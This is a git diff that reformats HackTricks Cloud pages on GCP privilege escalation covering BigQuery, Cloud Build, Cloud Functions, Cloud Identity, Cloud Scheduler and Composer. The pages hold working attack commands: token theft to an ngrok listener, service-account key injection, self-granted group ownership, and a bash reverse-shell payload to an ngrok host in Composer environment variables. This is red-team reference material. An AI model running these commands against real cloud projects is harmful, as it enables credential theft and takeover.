rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
index 9e71e3856..08f89c1d1 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -1,27 +1,14 @@
 # GCP - BigQuery Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## BigQuery
 
 For more information about BigQuery check:
 
-{% content-ref url="../gcp-services/gcp-bigquery-enum.md" %}
-[gcp-bigquery-enum.md](../gcp-services/gcp-bigquery-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-bigquery-enum.md
+{{#endref}}
 
 ### Read Table
 
@@ -38,14 +25,13 @@ This is another way to access the data. **Export it to a cloud storage bucket**
 To perform this action the following permissions are needed: **`bigquery.tables.export`**, **`bigquery.jobs.create`** and **`storage.objects.create`**.
 
 ```bash
-bq extract <dataset>.<table> "gs://<bucket>/table*.csv" 
+bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
 ```
 
 ### Insert data
 
 It might be possible to **introduce certain trusted data** in a Bigquery table to abuse a **vulnerability in some other place.** This can be easily done with the permissions **`bigquery.tables.get`** , **`bigquery.tables.updateData`** and **`bigquery.jobs.create`**:
 
-{% code overflow="wrap" %}
 ```bash
 # Via query
 bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -53,7 +39,6 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
 # Via insert param
 bq insert dataset.table /tmp/mydata.json
 ```
-{% endcode %}
 
 ### `bigquery.datasets.setIamPolicy`
 
@@ -101,17 +86,15 @@ bq add-iam-policy-binding \
 According to the docs, with the mention permissions it's possible to **update a row policy.**\
 However, **using the cli `bq`** you need some more: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
 
-{% code overflow="wrap" %}
 ```bash
 bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
 ```
-{% endcode %}
 
 It's possible to find the filter ID in the output of the row policies enumeration. Example:
 
 ```bash
  bq ls --row_access_policies <proj>:<dataset>.<table>
- 
+
       Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
  ------------- ------------------ ----------------------------- ----------------- --------------------
   apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
@@ -119,7 +102,6 @@ It's possible to find the filter ID in the output of the row policies enumeratio
 
 If you have **`bigquery.rowAccessPolicies.delete`** instead of `bigquery.rowAccessPolicies.update` you could also just delete the policy:
 
-{% code overflow="wrap" %}
 ```bash
 # Remove one
 bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
@@ -127,23 +109,8 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
 # Remove all (if it's the last row policy you need to use this
 bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
 ```
-{% endcode %}
 
-{% hint style="danger" %}
-Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
-{% endhint %}
+> [!CAUTION]
+> Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
new file mode 100644
index 000000000..a79e4c231
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
@@ -0,0 +1,26 @@
+# GCP - ClientAuthConfig Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Create OAuth Brand and Client
+
+[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), these are the required permissions:
+
+- `clientauthconfig.brands.list`
+- `clientauthconfig.brands.create`
+- `clientauthconfig.brands.get`
+- `clientauthconfig.clients.create`
+- `clientauthconfig.clients.listWithSecrets`
+- `clientauthconfig.clients.getWithSecret`
+- `clientauthconfig.clients.delete`
+- `clientauthconfig.clients.update`
+
+```bash
+# Create a brand
+gcloud iap oauth-brands list
+gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_email=SUPPORT_EMAIL
+# Create a client of the brand
+gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
similarity index 54%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
index 7cc370693..20d3d8d00 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
@@ -1,27 +1,14 @@
 # GCP - Cloudbuild Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## cloudbuild
 
 For more information about Cloud Build check:
 
-{% content-ref url="../gcp-services/gcp-cloud-build-enum.md" %}
-[gcp-cloud-build-enum.md](../gcp-services/gcp-cloud-build-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-build-enum.md
+{{#endref}}
 
 ### `cloudbuild.builds.create`
 
@@ -42,7 +29,6 @@ TODO
 
 With this permission the user can get the **read access token** used to access the repository:
 
-{% code overflow="wrap" %}
 ```bash
 curl -X POST \
      -H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -50,13 +36,11 @@ curl -X POST \
      -d '{}' \
      "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
 ```
-{% endcode %}
 
 ### `cloudbuild.repositories.accessReadWriteToken`
 
 With this permission the user can get the **read and write access token** used to access the repository:
 
-{% code overflow="wrap" %}
 ```bash
 curl -X POST \
      -H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -64,31 +48,15 @@ curl -X POST \
      -d '{}' \
      "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
 ```
-{% endcode %}
 
 ### `cloudbuild.connections.fetchLinkableRepositories`
 
 With this permission you can **get the repos the connection has access to:**
 
-{% code overflow="wrap" %}
 ```bash
 curl -X GET \
      -H "Authorization: Bearer $(gcloud auth print-access-token)" \
      "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
similarity index 57%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
index 7d4c10c24..69b7d7841 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
@@ -1,27 +1,14 @@
 # GCP - Cloudfunctions Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## cloudfunctions
 
 More information about Cloud Functions:
 
-{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
-[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-functions-enum.md
+{{#endref}}
 
 ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
 
@@ -34,9 +21,8 @@ Exploit scripts for this method can be found [here](https://github.com/RhinoSecu
 
 An attacker with these privileges can **modify the code of a Function and even modify the service account attached** with the goal of exfiltrating the token.
 
-{% hint style="danger" %}
-In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
-{% endhint %}
+> [!CAUTION]
+> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
 
 Some extra privileges like `.call` permission for version 1 cloudfunctions or the role `role/run.invoker` to trigger the function might be required.
 
@@ -70,9 +56,8 @@ gcloud functions deploy <cloudfunction-name> \
 gcloud functions call <cloudfunction-name>
 ```
 
-{% hint style="danger" %}
-If you get the error `Permission 'run.services.setIamPolicy' denied on resource...` is because you are using the `--allow-unauthenticated` param and you don't have enough permissions for it.
-{% endhint %}
+> [!CAUTION]
+> If you get the error `Permission 'run.services.setIamPolicy' denied on resource...` is because you are using the `--allow-unauthenticated` param and you don't have enough permissions for it.
 
 The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
 
@@ -80,7 +65,6 @@ The exploit script for this method can be found [here](https://github.com/RhinoS
 
 With this permission you can get a **signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)**
 
-{% code overflow="wrap" %}
 ```bash
 # Generate the URL
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -88,7 +72,6 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-{% endcode %}
 
 Not really sure how useful only this permission is from an attackers perspective, but good to know.
 
@@ -106,17 +89,16 @@ If you have read and write access over the bucket you can monitor changes in the
 
 You can check more about the attack in:
 
-{% content-ref url="gcp-storage-privesc.md" %}
-[gcp-storage-privesc.md](gcp-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-storage-privesc.md
+{{#endref}}
 
 However, you cannot use this to pre-compromise third party Cloud Functions because if you create the bucket in your account and give it public permissions so the external project can write over it, you get the following error:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
 
-{% hint style="danger" %}
-However, this could be used for DoS attacks.
-{% endhint %}
+> [!CAUTION]
+> However, this could be used for DoS attacks.
 
 ### Read & Write Access over Artifact Registry
 
@@ -124,19 +106,6 @@ When a Cloud Function is created a new docker image is pushed to the Artifact Re
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
new file mode 100644
index 000000000..f851a05d7
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
@@ -0,0 +1,34 @@
+# GCP - Cloudidentity Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloudidentity
+
+For more information about the cloudidentity service, check this page:
+
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
+
+### Add yourself to a group
+
+If your user has enough permissions or the group is misconfigured, he might be able to make himself a member of a new group:
+
+```bash
+gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
+# If --roles isn't specified you will get MEMBER
+```
+
+### Modify group membership
+
+If your user has enough permissions or the group is misconfigured, he might be able to make himself OWNER of a group he is a member of:
+
+```bash
+# Check the current membership level
+gcloud identity groups memberships describe --member-email <email> --group-email <email>
+
+# If not OWNER try
+gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
similarity index 64%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
index 72ae9590c..ed5dfa4ef 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
@@ -1,53 +1,36 @@
 # GCP - Cloud Scheduler Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cloud Scheduler
 
 More information in:
 
-{% content-ref url="../gcp-services/gcp-cloud-scheduler-enum.md" %}
-[gcp-cloud-scheduler-enum.md](../gcp-services/gcp-cloud-scheduler-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-scheduler-enum.md
+{{#endref}}
 
 ### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
 
 An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
 
-* **Contact  any google API via`googleapis.com` with OAuth token header**
+- **Contact any google API via`googleapis.com` with OAuth token header**
 
 Create a new Storage bucket:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
 ```
-{% endcode %}
 
 To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
 
-* **Exfiltrate OIDC service account token**
+- **Exfiltrate OIDC service account token**
 
-{% code overflow="wrap" %}
 ```bash
 gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
 
 # Listen in the ngrok address to get the OIDC token in clear text.
 ```
-{% endcode %}
 
 If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
 
@@ -55,17 +38,14 @@ If you need to check the HTTP response you might just t**ake a look at the logs
 
 Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
 
 # Listen in the ngrok address to get the OIDC token in clear text.
 ```
-{% endcode %}
 
 Another example to upload a private key to a SA and impersonate it:
 
-{% code overflow="wrap" %}
 ```bash
 # Generate local private key
 openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -129,23 +109,9 @@ EOF
 # Activate the generated key
 gcloud auth activate-service-account --key-file=/tmp/lab.json
 ```
-{% endcode %}
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
similarity index 58%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
index 525674236..5b5e8283e 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
@@ -1,27 +1,14 @@
 # GCP - Composer Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## composer
 
 More info in:
 
-{% content-ref url="../gcp-services/gcp-composer-enum.md" %}
-[gcp-composer-enum.md](../gcp-services/gcp-composer-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-composer-enum.md
+{{#endref}}
 
 ### `composer.environments.create`
 
@@ -40,7 +27,6 @@ More info about the exploitation [**here**](https://github.com/carlospolop/gcp_p
 
 It's possible to update composer environment, for example, modifying env variables:
 
-{% code overflow="wrap" %}
 ```bash
 # Even if it says you don't have enough permissions the update happens
 gcloud composer environments update \
@@ -63,7 +49,6 @@ X-Allowed-Locations: 0x0
 
 {"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
 ```
-{% endcode %}
 
 TODO: Get RCE by adding new pypi packages to the environment
 
@@ -71,28 +56,23 @@ TODO: Get RCE by adding new pypi packages to the environment
 
 Check the source code of the dags being executed:
 
-{% code overflow="wrap" %}
 ```bash
 mkdir /tmp/dags
 gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
 ```
-{% endcode %}
 
 ### Import Dags
 
 Add the python DAG code into a file and import it running:
 
-{% code overflow="wrap" %}
 ```bash
 # TODO: Create dag to get a rev shell
 gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
 ```
-{% endcode %}
 
 Reverse shell DAG:
 
-{% code title="reverse_shell.py" %}
-```python
+```python:reverse_shell.py
 import airflow
 from airflow import DAG
 from airflow.operators.bash_operator import BashOperator
@@ -123,7 +103,6 @@ t1 = BashOperator(
     priority_weight=2**31 - 1,
     do_xcom_push=False)
 ```
-{% endcode %}
 
